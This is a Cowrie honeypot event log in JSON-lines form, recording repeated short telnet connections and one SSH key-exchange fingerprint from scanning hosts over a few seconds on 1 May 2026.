{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":59642,"dst_ip":"10.17.0.5","dst_port":23,"session":"dea2faaada5d","protocol":"telnet","message":"New connection: 99.198.111.122:59642 (10.17.0.5:23) [session: dea2faaada5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:51.745471Z"}
{"eventid":"cowrie.session.closed","duration":30.22660493850708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:52.146173Z","src_ip":"99.198.111.122","session":"4764e6da7d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.241069793701172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:52.151757Z","src_ip":"160.250.4.73","session":"331068faf984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953333854675293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:52.270451Z","src_ip":"99.198.111.122","session":"4100782421db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38240098953247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:52.336215Z","src_ip":"99.198.111.122","session":"712bfae8013f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589312076568604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:52.421053Z","src_ip":"99.198.111.122","session":"9ff3c8c8edc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":33894,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bcba2c7568e","protocol":"telnet","message":"New connection: 160.250.4.73:33894 (10.17.0.5:23) [session: 6bcba2c7568e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:52.546661Z"}
{"eventid":"cowrie.session.closed","duration":30.211643934249878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:52.823957Z","src_ip":"162.241.40.195","session":"9aa1dc70f825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221501111984253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:52.895993Z","src_ip":"160.250.4.73","session":"3672ca7fff27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.04011845588684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.017728Z","src_ip":"99.198.111.122","session":"f384a13a90a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11010718345642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.096793Z","src_ip":"195.154.29.177","session":"d8d50748c863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971377849578857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.101414Z","src_ip":"99.198.111.122","session":"2c684c24654d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":50748,"dst_ip":"10.17.0.5","dst_port":23,"session":"63f72e7c1d79","protocol":"telnet","message":"New connection: 162.241.40.195:50748 (10.17.0.5:23) [session: 63f72e7c1d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.113611Z"}
{"eventid":"cowrie.session.closed","duration":31.042290687561035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.268764Z","src_ip":"99.198.111.122","session":"1ec0eb8970e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":50954,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22c217ee666","protocol":"telnet","message":"New connection: 162.241.40.195:50954 (10.17.0.5:23) [session: d22c217ee666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.450451Z"}
{"eventid":"cowrie.session.closed","duration":31.43868136405945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.521090Z","src_ip":"99.198.111.122","session":"ac19a4d5ad57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34692,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc5642122772","protocol":"telnet","message":"New connection: 99.198.111.122:34692 (10.17.0.5:23) [session: bc5642122772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.574332Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":36252,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e123823a49","protocol":"telnet","message":"New connection: 162.214.112.92:36252 (10.17.0.5:23) [session: f2e123823a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:53.630177Z"}
{"eventid":"cowrie.session.closed","duration":31.020731687545776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:54.031648Z","src_ip":"99.198.111.122","session":"4befbb5e2852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":37622,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7e1ad61b42","protocol":"telnet","message":"New connection: 64.235.40.29:37622 (10.17.0.5:23) [session: 6b7e1ad61b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:54.088917Z"}
{"eventid":"cowrie.session.closed","duration":30.563452005386353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:54.143029Z","src_ip":"160.250.4.73","session":"44464db5f543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":36056,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece4325d42a0","protocol":"telnet","message":"New connection: 99.198.111.122:36056 (10.17.0.5:23) [session: ece4325d42a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:54.361683Z"}
{"eventid":"cowrie.session.closed","duration":31.40242314338684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:54.524257Z","src_ip":"99.198.111.122","session":"0c480ea2de00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":50012,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d80c165f1b","protocol":"telnet","message":"New connection: 162.241.40.195:50012 (10.17.0.5:23) [session: 48d80c165f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:54.764816Z"}
{"eventid":"cowrie.session.closed","duration":30.9434175491333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:54.793942Z","src_ip":"195.154.29.177","session":"272e5140f049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":36578,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c366325b9ce","protocol":"telnet","message":"New connection: 162.214.112.92:36578 (10.17.0.5:23) [session: 9c366325b9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:55.113737Z"}
{"eventid":"cowrie.session.closed","duration":30.976520776748657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:55.175139Z","src_ip":"99.198.111.122","session":"1c99aadca5c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32205080986023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:55.985009Z","src_ip":"162.241.40.195","session":"7dfb377f4a84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10029411315918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:56.149424Z","src_ip":"99.198.111.122","session":"51bf59a5f33a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":33906,"dst_ip":"10.17.0.5","dst_port":23,"session":"178578efaa87","protocol":"telnet","message":"New connection: 160.250.4.73:33906 (10.17.0.5:23) [session: 178578efaa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:56.155057Z"}
{"eventid":"cowrie.session.closed","duration":30.74140691757202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:56.161557Z","src_ip":"160.250.4.73","session":"e16422e508ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926682710647583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:56.195040Z","src_ip":"99.198.111.122","session":"06183dc39a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":47956,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e178b209cee","protocol":"telnet","message":"New connection: 50.6.7.102:47956 (10.17.0.5:23) [session: 6e178b209cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:56.253075Z"}
{"eventid":"cowrie.session.closed","duration":31.358740091323853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:56.275295Z","src_ip":"160.250.4.73","session":"973411df1791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":52070,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0bb48c25470","protocol":"telnet","message":"New connection: 162.241.40.195:52070 (10.17.0.5:23) [session: a0bb48c25470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:56.624876Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":41580,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb53962ba30","protocol":"telnet","message":"New connection: 99.198.111.122:41580 (10.17.0.5:23) [session: bdb53962ba30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.073013Z"}
{"eventid":"cowrie.session.closed","duration":30.958146572113037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.192908Z","src_ip":"99.198.111.122","session":"040f938d1617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68374514579773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.258374Z","src_ip":"195.154.29.177","session":"0fadc8e3b30d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.380077362060547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.279085Z","src_ip":"160.250.4.73","session":"3741f67a2e0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.313686847686768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.434924Z","src_ip":"135.148.33.217","session":"34600e4e7afa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57394,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e237204f546","protocol":"telnet","message":"New connection: 64.235.40.29:57394 (10.17.0.5:23) [session: 2e237204f546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.615501Z"}
{"eventid":"cowrie.session.closed","duration":30.961807250976562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.700248Z","src_ip":"99.198.111.122","session":"19cd98d41956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1885244846344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.712489Z","src_ip":"99.198.111.122","session":"a92344c3c93c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60208,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6507b456f9","protocol":"ssh","message":"New connection: 122.168.114.167:60208 (159.203.135.109:22) [session: 9c6507b456f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.865341Z"}
{"eventid":"cowrie.session.closed","duration":31.289917469024658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:57.913703Z","src_ip":"99.198.111.122","session":"36d104830196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.213255643844604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:58.010770Z","src_ip":"50.6.7.102","session":"6139a4f59bb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":37142,"dst_ip":"10.17.0.5","dst_port":23,"session":"85096927a710","protocol":"telnet","message":"New connection: 162.214.112.92:37142 (10.17.0.5:23) [session: 85096927a710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:58.416904Z"}
{"eventid":"cowrie.session.closed","duration":31.371898651123047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:58.449601Z","src_ip":"162.241.40.195","session":"6ca01750f3fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":47958,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3d77d714c7","protocol":"telnet","message":"New connection: 50.6.7.102:47958 (10.17.0.5:23) [session: ea3d77d714c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:58.597609Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":42423,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb42110bdd3","protocol":"telnet","message":"New connection: 133.130.75.21:42423 (10.17.0.5:23) [session: fdb42110bdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:58.873776Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":53658,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaa2c5ef2e31","protocol":"telnet","message":"New connection: 162.241.40.195:53658 (10.17.0.5:23) [session: aaa2c5ef2e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:58.940545Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":53688,"dst_ip":"10.17.0.5","dst_port":23,"session":"2403fc40519a","protocol":"telnet","message":"New connection: 162.241.40.195:53688 (10.17.0.5:23) [session: 2403fc40519a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:59.016562Z"}
{"eventid":"cowrie.session.closed","duration":31.045541763305664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:59.035427Z","src_ip":"135.148.33.217","session":"1947e5c79fc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34165072441101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:59.040423Z","src_ip":"64.235.40.29","session":"493edfcf3554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86451005935669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:59.053183Z","src_ip":"99.198.111.122","session":"5e76a98b50c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999333381652832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:59.084646Z","src_ip":"99.198.111.122","session":"02aa8431b13a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":34128,"dst_ip":"10.17.0.5","dst_port":23,"session":"606fe8180eee","protocol":"telnet","message":"New connection: 135.148.33.217:34128 (10.17.0.5:23) [session: 606fe8180eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:59.450119Z"}
{"eventid":"cowrie.session.closed","duration":30.771575927734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.021188Z","src_ip":"135.148.33.217","session":"1f2acd5aa420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41122,"dst_ip":"10.17.0.5","dst_port":23,"session":"02b17d912c5e","protocol":"telnet","message":"New connection: 160.250.4.73:41122 (10.17.0.5:23) [session: 02b17d912c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.118083Z"}
{"eventid":"cowrie.session.closed","duration":30.314119577407837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.168568Z","src_ip":"99.198.111.122","session":"eb6880865da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":37872,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a2186ccab5","protocol":"telnet","message":"New connection: 162.214.112.92:37872 (10.17.0.5:23) [session: 94a2186ccab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.303106Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48338,"dst_ip":"10.17.0.5","dst_port":23,"session":"5365d8c9ab0b","protocol":"telnet","message":"New connection: 99.198.111.122:48338 (10.17.0.5:23) [session: 5365d8c9ab0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.568287Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48464,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3818c7e8e90","protocol":"telnet","message":"New connection: 99.198.111.122:48464 (10.17.0.5:23) [session: a3818c7e8e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.640863Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":45662,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f9abed62555","protocol":"telnet","message":"New connection: 216.22.21.200:45662 (10.17.0.5:23) [session: 3f9abed62555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.679847Z"}
{"eventid":"cowrie.session.closed","duration":31.329755783081055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.786436Z","src_ip":"99.198.111.122","session":"344e23419ffb","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.884696Z","src_ip":"122.168.114.167","session":"9c6507b456f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.889832Z","src_ip":"122.168.114.167","session":"9c6507b456f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.357959508895874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:00.981078Z","src_ip":"99.198.111.122","session":"3a6f5de5c9ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998562335968018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:01.089303Z","src_ip":"99.198.111.122","session":"697630d7bed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877782344818115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:01.112378Z","src_ip":"99.198.111.122","session":"e618e91fbb0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":43076,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3bfbdb2873c","protocol":"telnet","message":"New connection: 50.6.7.102:43076 (10.17.0.5:23) [session: e3bfbdb2873c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:01.468729Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":38236,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1713a1d018","protocol":"telnet","message":"New connection: 162.214.112.92:38236 (10.17.0.5:23) [session: cb1713a1d018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:01.616179Z"}
{"eventid":"cowrie.session.closed","duration":31.672216653823853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:01.792791Z","src_ip":"162.241.40.195","session":"a77203044aee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":43492,"dst_ip":"10.17.0.5","dst_port":23,"session":"333143feb3e6","protocol":"telnet","message":"New connection: 195.154.29.177:43492 (10.17.0.5:23) [session: 333143feb3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:01.948516Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41134,"dst_ip":"10.17.0.5","dst_port":23,"session":"74d6dc91586c","protocol":"telnet","message":"New connection: 160.250.4.73:41134 (10.17.0.5:23) [session: 74d6dc91586c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:02.073158Z"}
{"eventid":"cowrie.session.closed","duration":30.626707792282104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:02.116525Z","src_ip":"135.148.33.217","session":"04931f706f8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060431480407715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:02.138368Z","src_ip":"160.250.4.73","session":"5068d0d1b9f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64483380317688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:02.220639Z","src_ip":"135.148.33.217","session":"f364fa929bf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":37560,"dst_ip":"10.17.0.5","dst_port":23,"session":"96dad46f2872","protocol":"telnet","message":"New connection: 135.148.33.217:37560 (10.17.0.5:23) [session: 96dad46f2872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:02.255584Z"}
